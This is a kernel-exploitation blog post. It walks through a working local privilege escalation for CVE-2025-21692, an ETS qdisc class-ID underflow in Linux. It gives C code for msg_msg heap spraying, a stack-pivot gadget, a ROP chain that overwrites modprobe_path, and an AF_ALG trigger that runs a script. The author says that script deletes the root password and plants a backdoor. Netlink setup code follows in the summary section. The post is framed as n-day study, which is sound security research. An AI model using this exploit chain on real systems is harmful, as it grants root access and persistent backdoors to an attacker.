  <span class="n">msg_spray_nodiag</span><span class="p">(</span><span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="n">mtext</span><span class="p">,</span> <span class="n">PRE</span><span class="p">,</span> <span class="n">pre_post</span><span class="p">);</span>
  <span class="n">msg_spray_nodiag</span><span class="p">(</span><span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="n">mtext</span><span class="p">,</span> <span class="n">num_alloc</span><span class="p">,</span> <span class="n">msgq</span><span class="p">);</span>
  <span class="n">msg_spray_nodiag</span><span class="p">(</span><span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="n">mtext</span><span class="p">,</span> <span class="n">POST</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pre_post</span><span class="p">[</span><span class="n">PRE</span><span class="p">]);</span>
<span class="p">}</span>

<span class="c1">// ...</span>
<span class="c1">// Releasing</span>
<span class="kt">void</span> <span class="nf">release_slabs</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">msgq</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">pre_post</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">num_alloc</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="n">pre</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">post</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Does the inverse of the above.</span>
  <span class="c1">// Free one obj per slab to overflow partial list</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">mrecv</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_alloc</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="n">OBJ_PER_SLAB</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">mrecv</span> <span class="o">=</span> <span class="n">recv_msg</span><span class="p">(</span><span class="n">msgq</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">mrecv</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">pre</span> <span class="o">+</span> <span class="n">post</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">mrecv</span> <span class="o">=</span> <span class="n">recv_msg</span><span class="p">(</span><span class="n">pre_post</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">mrecv</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_alloc</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="n">OBJ_PER_SLAB</span><span class="p">))</span>
      <span class="k">continue</span><span class="p">;</span>
    <span class="n">mrecv</span> <span class="o">=</span> <span class="n">recv_msg</span><span class="p">(</span><span class="n">msgq</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">MAX_K2K_SZ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">mrecv</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This release of course must happen AFTER our cross cache page has been kidnapped by the pcp list and before any attempts to reclaim the page. I had to spray a little more <code class="language-plaintext highlighter-rouge">msg_msg</code> than usual to get the page back, but it worked a charm.</p>

<h2 id="rop-check">ROP check?</h2>

<p>Theres a small problem here - since we are hijacking a vtable, we obviously dont have an immediate vehicle for executing more or other gadgets beyond that point. We will need to stack pivot. Luckily, the kernel is… Fairly massive so we have no shortage of gadgets. But do we have any that will work for our specific needs? If you step through the code responsible for invoking <code class="language-plaintext highlighter-rouge">release_cb</code> (see <code class="language-plaintext highlighter-rouge">release_sock</code> function) in gdb before the call, you’ll notice that at the time of calling, <code class="language-plaintext highlighter-rouge">rax</code> points at <code class="language-plaintext highlighter-rouge">skc_prot</code>, which is to say it points at the <code class="language-plaintext highlighter-rouge">close</code> member, and is entirelly controlled. My first thought was how do we pivot the kernel stack to this destination? Very easily, in fact. <code class="language-plaintext highlighter-rouge">ropper</code> blessed me with this beauty:</p>

<pre><code class="language-asm">   0xffffffff810f95cc &lt;x86_gsbase_write_cpu_inactive+76&gt;:       mov    rsp,rax
   0xffffffff810f95cf &lt;x86_gsbase_write_cpu_inactive+79&gt;:       pop    rbx
   0xffffffff810f95d0 &lt;x86_gsbase_write_cpu_inactive+80&gt;:       ret
</code></pre>

<p>At this point more rop is extremely easy, so what do we actually want to do. Im a simple man with simple tastes – <code class="language-plaintext highlighter-rouge">modprobe_path</code> to be exact. Although the traditional way to invoke modprobe using dummy files was callously murdered, <a href="https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch">there are other ways</a>, Thanks Theorio. With this in mind all we need to do is construct a write primitive capable of overwriting it. Heres what my chain looks like in the exploit:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kt">uint32_t</span> <span class="n">write</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x188</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="o">*</span><span class="n">mptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">mtext</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rsi_ret</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">modprobe</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdx_ret</span><span class="p">;</span>
    <span class="c1">// /tmp/ex\x00</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x0078652f706d742f</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">mov_qword_ptr_rsi_rdx_pop_rbx_ret</span><span class="p">;</span>
    <span class="c1">// Skip raw_prot</span>
    <span class="n">write</span><span class="o">++</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">swapgs_return_to_usermode</span><span class="p">;</span>
    <span class="c1">// Now the arg arrangements for iretq</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x7777777777777777</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x7777777777777777</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_pc</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_cs</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_rflags</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_sp</span><span class="p">;</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_ss</span><span class="p">;</span>
    <span class="c1">// Random padding</span>
    <span class="n">mptr</span><span class="p">[</span><span class="n">write</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x7777777777777777</span><span class="p">;</span>

</code></pre></div></div>

<p>I initially have to correct the writing index, as our control starts at offset 0x180 into our payload (thx qdisc you’re awesome), then accounting for the <code class="language-plaintext highlighter-rouge">msg_msg</code> header (0x30). We skip an additional 8 bytes because of the unfortunate <code class="language-plaintext highlighter-rouge">pop rbx</code> in our pivot gadget. The <code class="language-plaintext highlighter-rouge">swapgs_return_to_usermode</code> gadget refers to this area of <code class="language-plaintext highlighter-rouge">common_interrupt_return</code>:</p>

<pre><code class="language-asm">   0xffffffff82401126 &lt;common_interrupt_return+54&gt;:     mov    rdi,rsp
   0xffffffff82401129 &lt;common_interrupt_return+57&gt;:     mov    rsp,QWORD PTR gs:0x6004
   0xffffffff82401132 &lt;common_interrupt_return+66&gt;:     push   QWORD PTR [rdi+0x30]
   0xffffffff82401135 &lt;common_interrupt_return+69&gt;:     push   QWORD PTR [rdi+0x28]
   0xffffffff82401138 &lt;common_interrupt_return+72&gt;:     push   QWORD PTR [rdi+0x20]
   0xffffffff8240113b &lt;common_interrupt_return+75&gt;:     push   QWORD PTR [rdi+0x18]
   0xffffffff8240113e &lt;common_interrupt_return+78&gt;:     push   QWORD PTR [rdi+0x10]
   0xffffffff82401141 &lt;common_interrupt_return+81&gt;:     push   QWORD PTR [rdi]
   0xffffffff82401143 &lt;common_interrupt_return+83&gt;:     push   rax
   0xffffffff82401144 &lt;common_interrupt_return+84&gt;:     xchg   ax,ax
   0xffffffff82401146 &lt;common_interrupt_return+86&gt;:     mov    rdi,cr3
   0xffffffff82401149 &lt;common_interrupt_return+89&gt;:     jmp    0xffffffff8240117f &lt;common_interrupt_return+143&gt;
   ...
   0xffffffff8240117f &lt;common_interrupt_return+143&gt;:    or     rdi,0x1000
   0xffffffff82401186 &lt;common_interrupt_return+150&gt;:    mov    cr3,rdi
   0xffffffff82401189 &lt;common_interrupt_return+153&gt;:    pop    rax
   0xffffffff8240118a &lt;common_interrupt_return+154&gt;:    pop    rdi
   0xffffffff8240118b &lt;common_interrupt_return+155&gt;:    swapgs 
   0xffffffff8240118e &lt;common_interrupt_return+158&gt;:    nop    DWORD PTR [rax+0x0]
   0xffffffff82401195 &lt;common_interrupt_return+165&gt;:    jmp    0xffffffff824011b7 &lt;common_interrupt_return+199&gt;
   ...
   0xffffffff824011b7 &lt;common_interrupt_return+199&gt;:    test   BYTE PTR [rsp+0x20],0x4
   0xffffffff824011bc &lt;common_interrupt_return+204&gt;:    jne    0xffffffff824011c0 &lt;common_interrupt_return+208&gt;
   0xffffffff824011be &lt;common_interrupt_return+206&gt;:    iretq  
</code></pre>

<p>But besides that its pretty bog standard. After successfully returning to usermode, we get dropped back to our <code class="language-plaintext highlighter-rouge">user_pc</code>/<code class="language-plaintext highlighter-rouge">retfunc</code> in our exploit.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">retfunc</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Back in usermode yayyy"</span><span class="p">);</span>

  <span class="c1">// https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch</span>
  <span class="k">struct</span> <span class="n">sockaddr_alg</span> <span class="n">sa</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">alg_fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_ALG</span><span class="p">,</span> <span class="n">SOCK_SEQPACKET</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">alg_fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"socket(AF_ALG) failed"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sa</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sa</span><span class="p">));</span>
  <span class="n">sa</span><span class="p">.</span><span class="n">salg_family</span> <span class="o">=</span> <span class="n">AF_ALG</span><span class="p">;</span>
  <span class="c1">// Thx theorio</span>
  <span class="n">strcpy</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">sa</span><span class="p">.</span><span class="n">salg_type</span><span class="p">,</span> <span class="s">"V4bel"</span><span class="p">);</span> <span class="c1">// dummy string</span>
  <span class="n">bind</span><span class="p">(</span><span class="n">alg_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">sa</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sa</span><span class="p">));</span>

  <span class="c1">// Should've deleted the root password atp so we gud</span>
  <span class="n">system</span><span class="p">(</span><span class="s">"/backdoor.sh"</span><span class="p">);</span>
  <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If you read the post by Theorio I linked earlier talking about alternative ways to invoke <code class="language-plaintext highlighter-rouge">modprobe_path</code>, you’ll immediately see whats going on here. By looking up a non-existent algorithm we trigger modprobe. Our script does a couple things.</p>
<ul>
  <li>Deletes root password</li>
  <li>Creates a backdoor shell script</li>
</ul>

<p>A bit excessive as I suppose you’d want to be quiet if doing this kind of thing with a red team or <em>otherwise</em>, but this entire exploit is ONE OF THE NOISIEST THINGS TO EVER EXIST so I dont think that’ll be the primary concern.</p>

<p>Take a look.
<img src="../assets/img/exp_fin.gif" alt="" /></p>

<p>Ignore the shell error it was a misunderstanding.</p>

<p>There is 4 main points of failure in the exploit, the first 2 being the cross cache attacks, which will fail occasionally. The 3rd happens when we run commands to reset the interface state - probably because of open “files” and sockets and us corrupting a socket. The 4th is when trying to reclaim <code class="language-plaintext highlighter-rouge">tty_struct</code>s - we get our leak, but no further than that. The first 2 are luck of the draw - cross cache is known to be a bit unreliable. The 3rd can be mitigated entirely (I believe) if we stopped running commands to reset the interface. But the 4th could potentially be addressed through some heap shaping. The exploit is probably ~50% reliable, maybe slightly higher so there’s still more work to be done here - the code isn’t the best and there’s defo a lot of room for improvement, some functions that don’t need to be functions, etc.</p>

<p>I ended up using <a href="https://github.com/0xricksanchez/like-dbg">like-dbg</a>, as you can see. A very easy useful way to build and manage kernels. I did end up doing away with the tmux stuff tho, not a massive fan.</p>

<h2 id="thoughts-and-conclusions">Thoughts and Conclusions</h2>

<p>Thanks for reading. Even if you did skip around its nice having your weirdcore eye angels flapping around in my tiny corner of the net. I hope you learned something, I know I did, so lets get to some of that.</p>

<p><img src="https://art.ngfiles.com/images/1996000/1996276_funni-ng_weirdcore-wallpaper.png?f1628113756" alt="yall" />
This is u btw.</p>

<p>Developing exploits for a kernel, especially as racy and unreliable as they are can be an absolute chore, icl trying to get a working run of the exploit which I could then debug was truly truly testing on a primal level (especially after 6 or 6 runs was required to get 1 which was functional). So, its best to remove as many obstacles as possible in this process. One thing I did during this was have 2 different filesystems, one which starts very quickly (only a few seconds) and is extremely light for rapid testing of the exploit, and one which is heavier that represents a more realistic environment with a whole bunch of processes running. Also consider using snapshots or editing kernel source to make testing less tiresome. You’re going to be running qemu A LOT so less friction is a massive w in the long run.</p>

<p>I don’t think I’ll be testing exploits on low memory environments again (128M, 256M) unless explicitly required to. I wanna mitigate issues like my problem with pcp lists as much as possible. So I’ll be sticking to 1G and higher in the foreseeable future. Also OH MY GOD do certain objects take much longer to free than others. Qdiscs especially, no idea whats going on there but a delay of 11s between releasing and whatever I was doing next was necessary most of the time. One last thought on the bug: The impact of this is pretty much erased with list hardening enabled (I think). So turn it on unless you got a rlly rlly good reason not to (maybe for speed or something).</p>

<p>I think I’ll be trying to POC a few more of these in future. Wanna try my hand at a race condition next cuz its probably gonna actually give me a brain aneurism - I have absolutely no idea what im doing with that bug class most of the time.</p>

<p>That’s basically it, I think. I’ll see you all again soon. Sooner than last time probably, now that I have more stuff worth writing down. Much love and good luck :).</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro Hi again. Been a minute. I’ve been a perpetual novice in the realm of kernel exploitation for far too long, besides a few older CTF challenges I’m almost completely bereft of experience in this area, so I finally decided to start studying some ndays. I ended up picking a couple bugs, first, a VSOCK UAF - CVE-2025-21756. I chose this to study as it had a (really good, thanks Hoefler) accompanying blog post which I could follow through with and fall back on when I got stuck. I ended up trying to exploit this bug in a different way than was performed in Hoefler’s post to test myself. Instead of using pipes, I wanted to use msg_msg. This added another layer of difficulty which in turn demanded the use of another bug, CVE-2025-21692. This was definitely the most educational part of the process as there was no public exploit for this bug, except a few pocs demonstrating it. I ended up leveraging these bugs together initially, but decided to write an exploit using only 21692. In this post I’ll go over the process I went through turning this bug into a valuable write primitive, then turning that into RCE. I’ll go over stuff I learned, and difficulties encountered along the way. But before we start, there’s some “required” knowledge you’ll probably want to know beforehand: Basic understanding of cross cache and all that entails Kernel heap layout and structure, kmalloc caches, pages etc. The more complex stuff we need to do gets explained. Understanding of kernel security mechanisms KPTI, SMEP, SMAP, etc. The exploit can be found here so you can follow along. Lets go. Some background on qdiscs Packet scheduling isn’t something I’ve ever really thought about, despite using Linux for years as a (somewhat) power user (stock ubuntu so I can google all the errors). But if we need to send packets around, there intuitively needs to be some way to stagger the flow, organise, or otherwise schedule them. This is what Qdiscs are for. Yes, I did think it had something to do with discs when I first saw the term, it does not, however (at least i think so). Instead, a Qdisc is a queueing discipline. Qdisc’s wrap around network interfaces and provide different ways to manage packets. There are many kinds of qdisc’s, some classful and others not, with classful qdiscs allowing traffic to be sorted and filtered into classes. In order to classify traffic, “filters” are consulted, and are called from within the qdisc itself. These arent too important to understand for this bug, though. Qdiscs are referred to by a handle - heres a simple example of creating and managing a qdisc: root@pwn:~# tc qdisc add dev lo root netem delay 100ms root@pwn:~# tc qdisc list qdisc netem 8001: dev lo root refcnt 2 limit 1000 delay 100ms root@pwn:~# tc qdisc delete dev lo root root@pwn:~# tc qdisc list root@pwn:~# tc qdisc add dev lo root handle 1: netem delay 100ms root@pwn:~# tc qdisc list qdisc netem 1: dev lo root refcnt 2 limit 1000 delay 100ms The first command adds a classless netem qdisc to the lo network device, specifying a delay of 100ms. This is the root qdisc, and is the first in the “tree” of qdiscs for a given interface. From here we can list discs, among other things. We can also assign a handle to a qdisc at creation, but one will be assigned for us if not. The netem qdisc specifically allows us to add a delay to outgoing packets on an interface. This adds 100ms + 10ms delay to each packet. Qdiscs can also have children/leaves. With classful qdiscs it is possible to filter traffic into one class then have a different qdisc manage it from there. The Bug Enter stage left, CVE-2025-21692. The bug in question is present in the ETS (Enhanced Transmission Selection) qdisc. ETS is classful and gets pretty complicated, as you can imagine. The bug, by comparison is very simple. static struct ets_class * ets_class_from_arg(struct Qdisc *sch, unsigned long arg) { struct ets_sched *q = qdisc_priv(sch); + if (arg == 0 || arg &gt; q-&gt;nbands) + return NULL; return &amp;q-&gt;classes[arg - 1]; } As the patch hints, the arg class id can be 0, and if it is we can probably underflow and read OOB. Theres also a chance we can go higher, if we somehow feed this function an id greater than nbands. ETS has a number of bands/classes. Some bands are strict, and others are bandwidth-sharing with strict bands being consulted first when dequeuing packets from the interface, if no packet was dequeued from the strict bands then the others are tried. Bandwidth sharing bands are assigned a “deficit counter” (used as part of the “deficit round robin” algorithm) which is initialized to a “quantum” element, quant. Keep this in mind as the quant value of a class is probably one of the most important parts of the exploitation process – other than the bug, probably. I’ll not explain the algorithm and its implementation as it didn’t turn out to be useful or necessary for the exploit. This may or may not be me dodging writing EVEN MORE STUFF but regardless, all that’s needed to know is each band is responsible for an amount of the link rate - the higher the quant the more it will handle, to enable this sent packets are enqueued via qdisc specific logic into the interface, and received are dequeued triggering different logic in the qdisc assigned. If you open the man page for ets you may notice a small, interesting section in the description. The minor number of classid to use when referring to a band is the band number increased by one. Thus band 0 will have classid of major:1, band 1 that of major:2, etc. So to get the real band number from a supplied classid, we have to subtract 1. This could indicate just why the bug is here or I could just be throwing stuff at the wall until it sticks, perhaps. As a sidenote, the kernel version used to make the exploit was 6.6.75, this was due to me using the same kernel to work with through hoefler’s bug. At this point the ets bug had been patched, so I did have to edit my kernel source - just commenting out the check and return null lines. How do we get there How do we interact with the qdisc so we can get a situation where we have the class id underflow/overflow? As seen previously, there is the tc command line utility provided by iproute, but we probably want a way of doing this without having to spawn an additional process every time we want to interact with qdiscs – trust me here, as this is the way I had my exploit stitched together for a while. The underlying code for tc uses netlink sockets, these provide an interface which enables us to query and edit network interfaces and other things such as qdiscs. This setup process is quite easy. int setup_rtnet(struct sockaddr_nl *src_addr, struct sockaddr_nl *dest_addr) { int sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd &lt; 0) { return -1; } memset(src_addr, 0, sizeof(*src_addr)); src_addr-&gt;nl_family = AF_NETLINK; src_addr-&gt;nl_pid = getpid(); /* self pid */ if (bind(sock_fd, (struct sockaddr *)src_addr, sizeof(*src_addr)) &lt; 0) { perror("setup_rtnet bind"); exit(-1); } memset(dest_addr, 0, sizeof(*dest_addr)); dest_addr-&gt;nl_family = AF_NETLINK; dest_addr-&gt;nl_pid = 0; /* For Linux Kernel */ dest_addr-&gt;nl_groups = 0; /* unicast */ return sock_fd; } Unfortunately for us, interacting with netlink in the way we need to requires CAP_NET_ADMIN (because we need to do more than RTNL_KIND_GET), so we will unfortunately have to have unprivileged namespaces enabled. Dubious indeed. When that devastating news has been grieved over, we can start sending and receiving messages with the kernel. Netlink messages consist of one or many consecutive struct nlattrs. /* * &lt;------- NLA_HDRLEN ------&gt; &lt;-- NLA_ALIGN(payload)--&gt; * +---------------------+- - -+- - - - - - - - - -+- - -+ * | Header | Pad | Payload | Pad | * | (struct nlattr) | ing | | ing | * +---------------------+- - -+- - - - - - - - - -+- - -+ * &lt;-------------- nlattr-&gt;nla_len --------------&gt; */ struct nlattr { __u16 nla_len; __u16 nla_type; }; As the comment says, the payload follows immediately. Length of these messages is padded out to NLMSG_ALIGN(len_of_msg). Which for us just means they have to be 4 byte aligned. To get a better idea of what these messages look like, follows is sample code showing how a qdisc can be created through chaining nlattrs. Netlink example // ... memset(&amp;msg, 0, sizeof(msg)); nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh-&gt;nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD); nlh-&gt;nlmsg_pid = getpid(); nlh-&gt;nlmsg_type = RTM_NEWQDISC; nlh-&gt;nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; We allocate space for the nlmsg and header, specifically requesting the max space – which we never get even close to using (wasteful ikr). The NLMSG_SPACE macro ensures the size reserved is aligned correctly for our chain of messages. We then fill in fields, specifying in type that we want to create a new qdisc. We then fill in a couple of flag fields, NLM_F_CREATE specifying that yes we do in fact want an entirely new qdisc, and dont want to replace one already existing, because we dont want your dusty ol’ disc. The netlink manual is very very specific about the use of NLM_F_REQUEST: NLM_F_REQUEST Must be set on all request messages. So we’ll follow along, I guess &gt;:(. Next we get a bit more specific to the task at hand. struct tcmsg tc; memset(&amp;tc, 0, sizeof(tc)); // Handle is formatted with qdisc id at start, 1 *should* be root qdisc. uint32_t clid = 0x0; // [2] tc.tcm_family = TCA_UNSPEC; tc.tcm_handle = (hnd &lt;&lt; 16) | clid; tc.tcm_parent = g_parent; tc.tcm_ifindex = idx; g_parent = TC_H_ROOT; memcpy(NLMSG_DATA(nlh), &amp;tc, sizeof(tc)); tcmsgs as you can imaging are for interfacing with traffic control, so fairly important. tcm_handle needs to match the handle of an existing qdisc normally, but since we’re adding a new one it can be whatever we want. ifindex references the interface we are operating on – loopback for us, and parent is simply the handle of our great progenitor, which is TC_H_ROOT for us as we have no mum. Real chicken and egg situation there. char buf[0x300] = {0}; // [3] struct nlattr *attr = (struct nlattr *)buf; attr-&gt;nla_type = TCA_KIND; attr-&gt;nla_len = NLA_HDRLEN + 3; strcpy(&amp;attr[1], "ets"); attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr-&gt;nla_len)); // [4] attr-&gt;nla_type = TCA_OPTIONS | NLA_F_NESTED; // Will be filled in later attr-&gt;nla_len = -1; struct nlattr *options = attr; attr = &amp;attr[1]; attr-&gt;nla_type = TCA_ETS_NBANDS; attr-&gt;nla_len = NLA_HDRLEN + 1; *(uint8_t *)(&amp;attr[1]) = 8; totlen += NLA_ALIGN(sizeof(*attr) + attr-&gt;nla_len); Here comes the real meat &amp; potatoes; our attributes. First up is qdisc kind, of course ets. Then TCA_OPTIONS which stores qdisc specific nlattr fields in nested within, the first field being nbands which in our case is sort of arbitrary as nothing we do depends on the number of bands, as long as we have at least 1, anyway. attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr-&gt;nla_len)); // [5] attr-&gt;nla_type = TCA_ETS_PRIOMAP | NLA_F_NESTED; attr-&gt;nla_len = NLA_HDRLEN; struct nlattr *priomap = attr; attr = &amp;attr[1]; int start_band = 7; while (start_band &gt;= 0) { attr-&gt;nla_type = TCA_ETS_PRIOMAP_BAND; attr-&gt;nla_len = NLA_HDRLEN + 1; *(uint8_t *)(&amp;attr[1]) = start_band; priomap-&gt;nla_len += NLA_ALIGN(attr-&gt;nla_len); attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr-&gt;nla_len)); start_band--; } What follows is the priomap for each band, simply a nested list of uint8. // [6] totlen += NLA_ALIGN(priomap-&gt;nla_len); options-&gt;nla_len = NLA_ALIGN(totlen); memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)), buf, sizeof(buf)); // ... Finally we make sure the total length is correct and we are ready to go! Copying the data into the nlmsg payload after the tcmsg. This then gets sent away to the kernel. All netlink communications we do follow this pattern, seems easy, but oh my god did I have trouble getting the sizes and alignment right, hence the extremely ugly pointer arithmetic - skill issue. That’s what I call REAL Quantum Computing After the qdisc is added, triggering the bug is also quite simple. Sending a nlmsg of type RTM_NEWTCLASS and flags NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ECHO (see get_quant function in the exploit) leads us down the following call chain to ets_class_change. netlink_sendmsg netlink_unicast rtnetlink_rcv netlink_rcv_skb rtnetlink_rcv_msg tc_ctl_tclass ets_class_change Here the buggy utility function makes an appearance at [1]: static int ets_class_change(struct Qdisc *sch, u32 classid, u32 parentid, struct nlattr **tca, unsigned long *arg, struct netlink_ext_ack *extack) { // [1] struct ets_class *cl = ets_class_from_arg(sch, *arg); struct ets_sched *q = qdisc_priv(sch); struct nlattr *opt = tca[TCA_OPTIONS]; struct nlattr *tb[TCA_ETS_MAX + 1]; unsigned int quantum; int err; /* Classes can be added and removed only through Qdisc_ops.change * interface. */ if (!cl) { NL_SET_ERR_MSG(extack, "Fine-grained class addition and removal is not supported"); return -EOPNOTSUPP; } if (!opt) { NL_SET_ERR_MSG(extack, "ETS options are required for this operation"); return -EINVAL; } err = nla_parse_nested(tb, TCA_ETS_MAX, opt, ets_class_policy, extack); if (err &lt; 0) return err; if (!tb[TCA_ETS_QUANTA_BAND]) /* Nothing to configure. */ return 0; if (ets_class_is_strict(q, cl)) { NL_SET_ERR_MSG(extack, "Strict bands do not have a configurable quantum"); return -EINVAL; } err = ets_quantum_parse(sch, tb[TCA_ETS_QUANTA_BAND], &amp;quantum, extack); if (err) return err; sch_tree_lock(sch); // [2] cl-&gt;quantum = quantum; sch_tree_unlock(sch); ets_offload_change(sch); return 0; } You may have already identified and flagged [2]. Indeed, quant my beloved is back. Writing this here onto the underflowed class could be quite… Good? Depending on what cl-&gt;quantum overlaps with. So if we underflow q-&gt;classes, what do we actually end up accessing? Lets see the struct ets_sched qdisc structure where classes is contained. /* offset | size */ type = struct ets_sched { /* 0 | 16 */ struct list_head { /* 0 | 8 */ struct list_head *next; /* 8 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } active; /* 16 | 8 */ struct tcf_proto *filter_list; /* 24 | 8 */ struct tcf_block *block; /* 32 | 4 */ unsigned int nbands; /* 36 | 4 */ unsigned int nstrict; /* 40 | 16 */ u8 prio2band[16]; /* XXX 8-byte hole */ /* 64 | 1280 */ struct ets_class classes[16]; /* total size (bytes): 1344 */ } sizeof(struct ets_class) is 80 bytes, so that puts us exactly 16 bytes before the start of ets_sched (ets_sched.classes offset is 64 bytes). Looking at ets_class we can see… struct ets_class { /* 0 | 16 */ struct list_head { /* 0 | 8 */ struct list_head *next; /* 